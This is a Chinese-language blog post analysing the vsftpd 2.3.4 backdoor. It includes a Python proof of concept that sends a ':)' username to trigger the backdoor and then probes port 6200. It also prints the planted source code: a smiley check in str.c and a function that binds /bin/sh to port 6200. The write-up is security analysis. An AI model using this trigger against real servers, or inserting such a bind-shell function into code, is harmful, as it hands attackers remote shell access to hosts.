VSFTPD v2.3.4后门分析

作者:k0shl 转载请注明出处:http://whereisk0shl.top

这个漏洞和二进制漏洞关系不大,是一个后门分析,这个vsftpd的版本在网上比较难找,还是去google搜一下吧..


漏洞说明


PoC:

#!/usr/bin/python
#coding:utf-8
#Author:k0shl@ZPT

import sys
import socket
import random
import ftplib
import string

def usage(usagestr):
    print "%s [IP]"%usagestr

if __name__ == '__main__':
    try:
        if len(sys.argv) < 2:
            usage(sys.argv[1])
        ftp = ftplib.FTP()
        ftp.connect(sys.argv[1],'21')
        backdoorstr = ''.join(random.sample(string.ascii_letters,4))+":)"#关键!!
        backdoorpass = ''.join(random.sample(string.ascii_letters,2))#任意都可以
        ftp.login(backdoorstr,backdoorpass)
        ##触发后门!绑定shell!
        while(1):
            s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            try:
                nock = s.connect((sys.argv[1],6200))
                print "存在后门漏洞"
            except:
                print "未找到后门"
                break
    except Exception,e:
        print e

在目标机器上编译有问题的vsftpd,然后运行python,参数输入目标机器IP即可。


漏洞分析


vsFtpd是一款应用很广的ftp软件,不仅在linux下常用,freebsd都会自带该软件的安装包,在v2.3.4中,软件包(包括软件源)中发现存在后门漏洞,这种现象有点像XCode事件,无论是厂商恶意添加,还是软件包被人篡改,利用后门都能直接获取到主机shell,下面对此漏洞进行详细分析。

首先,部署vsftpd v2.3.4版本,在客户端运行poc,用wireshark抓包。

可以看到USER部分发送了一个用户名为Gika3:)数据包,接下来继续抓包。

发送了一个Password,这个Password已经不重要了,接下来继续抓包。

重点观察src port部分,向6200端口发送了三次握手协议,实际上在发送USER之后,后门已经被触发了,来看一下我写的PoC部分。

        ftp.connect(sys.argv[1],'21')
        backdoorstr = ''.join(random.sample(string.ascii_letters,4))+":)"#关键!!
        backdoorpass = ''.join(random.sample(string.ascii_letters,2))#任意都可以
        ftp.login(backdoorstr,backdoorpass)

在USEER构造中,前面部分我采用了随机生成,在结尾部分拼接了“:)”,这个笑脸符号是漏洞形成的关键。接下来再发送一次payload测试,注意看USER后的内容,依然是随机字符串+:)的组合,随后PASS发送完毕后,又一次连接6200端口。


漏洞分析


首先问题出现在vsftpd源码的str.c中,在这个c语言中,被添加了一行无关代码。

     {
       return 1;
     }
    else if((p_str->p_buf[i]==0x3a)
    && (p_str->p_buf[i+1]==0x29))
    {
      vsf_sysutil_extra();
    }
   }
   return 0;
 }

在这个else if语句中,会对p_str结构体中的p_buf数组进行判断,这里判断条件是3a 29,这个正是 :) 的ASCII码,这里是一个遍历判断,在一个for循环中,一旦找到有:)的位置,则会执行vsf_sysutil_extra()函数,这个函数是后门的关键函数。

这个函数存在于另一个.c文件中sysdeputil.c,在.c入口处,就对后门函数进行了定义。

 #include <sys/param.h>
 #include <sys/uio.h>
 #include <netinet/in.h>
 #include <netdb.h>
 #include <string.h>
 #include <stdlib.h>

 #include <sys/prctl.h>
 #include <signal.h>
 

 static int s_proctitle_inited = 0;
 static char* s_p_proctitle = 0;
 #endif
 int vsf_sysutil_extra();

 #ifndef VSF_SYSDEP_HAVE_MAP_ANON
 #include <sys/types.h>
 #include <sys/stat.h>

接下来来到后门函数的主体部分。

int
vsf_sysutil_extra(void)
{
  int fd, rfd;
  struct sockaddr_in sa;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  exit(1);
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INADDR_ANY;
  if((bind(fd,(struct sockaddr *)&sa,
  sizeof(struct sockaddr))) < 0) exit(1);
  if((listen(fd, 100)) == -1) exit(1);
  for(;;)
  {
    rfd = accept(fd, 0, 0);
    close(0); close(1); close(2);
    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
    execl("/bin/sh","sh",(char *)0);
  }
}

可以看到,此函数会在本地建立一个socket套接字,然后会将6200端口绑定,之后调用execl将/bin/sh绑定在6200端口,之后外部链接vsftpd,就会激活这个函数,之后链接6200端口就能获得主机的shell了。

Comments
Write a Comment